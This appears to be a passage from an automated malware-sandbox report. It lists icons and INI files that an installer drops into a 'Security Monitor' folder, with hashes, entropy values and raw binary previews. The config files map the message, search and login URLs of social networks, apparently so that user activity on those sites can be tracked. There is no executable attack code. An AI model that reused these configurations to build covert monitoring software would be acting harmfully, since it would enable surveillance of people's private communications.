Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-UEDQF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-UL3V4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-VO1I9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\my.screenname.aol.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter_.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\SNets.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\About.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
